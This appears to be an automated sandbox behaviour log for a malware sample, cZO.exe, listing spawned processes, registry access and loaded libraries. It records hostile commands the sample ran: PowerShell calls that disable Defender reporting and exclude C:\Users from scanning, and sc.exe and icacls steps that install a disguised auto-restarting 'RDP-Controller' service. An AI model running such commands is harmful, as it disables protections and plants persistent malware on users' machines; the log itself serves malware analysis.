Source: C:\Users\user\Desktop\cZO.exe	Key opened: HKEY_USERS.DEFAULT\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\System32\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe

File read: C:\Users\user\AppData\Local\Temp\wfpblk.ini

Jump to behavior

Source: C:\Users\user\Desktop\cZO.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: cZO.exe

Virustotal: Detection: 19%

Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address_v6.ipp
Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address_v4.ipp
Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address.ipp
Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address_v6.ipp
Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address_v4.ipp
Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address.ipp
Source: cZO.exe	String found in binary or memory: NATS-SEFI-ADD
Source: cZO.exe	String found in binary or memory: NATS-DANO-ADD
Source: cZO.exe	String found in binary or memory: JIS_C6229-1984-b-add
Source: cZO.exe	String found in binary or memory: jp-ocr-b-add
Source: cZO.exe	String found in binary or memory: JIS_C6229-1984-hand-add
Source: cZO.exe	String found in binary or memory: jp-ocr-hand-add
Source: cZO.exe	String found in binary or memory: ISO_6937-2-add

Source: unknown	Process created: C:\Users\user\Desktop\cZO.exe "C:\Users\user\Desktop\cZO.exe"
Source: unknown	Process created: C:\Users\user\Desktop\cZO.exe C:\Users\user\Desktop\cZO.exe
Source: C:\Users\user\Desktop\cZO.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /k "C:\Users\user\AppData\Local\Temp\7h14dhb9g32w177ypoi9wje.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"
Source: C:\Users\user\Desktop\cZO.exe	Process created: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe "C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"
Source: C:\Users\user\Desktop\cZO.exe	Process created: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe "C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe"
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	Process created: C:\Windows\System32\taskkill.exe taskkill.exe /F /FI "SERVICES eq RDP-Controller"
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	Process created: C:\Windows\System32\sc.exe sc.exe stop RDP-Controller
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	Process created: C:\Windows\System32\sc.exe sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	Process created: C:\Windows\System32\sc.exe sc.exe failure RDP-Controller reset= 1 actions= restart/10000
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	Process created: C:\Windows\System32\sc.exe sc.exe start RDP-Controller
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18
Source: C:\Windows\System32\icacls.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public /restore C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\npX5adYEH7eu.acl
Source: C:\Windows\System32\icacls.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 432 -p 6524 -ip 6524
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6524 -s 1236
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: unknown	Process created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Source: C:\Users\user\Desktop\cZO.exe	Process created: C:\Users\user\Desktop\cZO.exe C:\Users\user\Desktop\cZO.exe	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /k "C:\Users\user\AppData\Local\Temp\7h14dhb9g32w177ypoi9wje.bat"	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Process created: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe "C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe"	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	Process created: C:\Windows\System32\taskkill.exe taskkill.exe /F /FI "SERVICES eq RDP-Controller"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	Process created: C:\Windows\System32\sc.exe sc.exe stop RDP-Controller	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	Process created: C:\Windows\System32\sc.exe sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	Process created: C:\Windows\System32\sc.exe sc.exe failure RDP-Controller reset= 1 actions= restart/10000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	Process created: C:\Windows\System32\sc.exe sc.exe start RDP-Controller	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public /restore C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\npX5adYEH7eu.acl	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 432 -p 6524 -ip 6524
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6524 -s 1236
Source: C:\Windows\System32\WerFault.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\cZO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: apphelp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: cryptbase.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: ntmarta.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: iphlpapi.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: winhttp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wsock32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: windows.storage.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wldp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: netapi32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: userenv.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: netutils.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: samcli.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: libi2p.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wsock32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: cryptsp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: rsaenh.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: zlib1.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: dnsapi.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: rasadhlp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\icacls.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\icacls.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
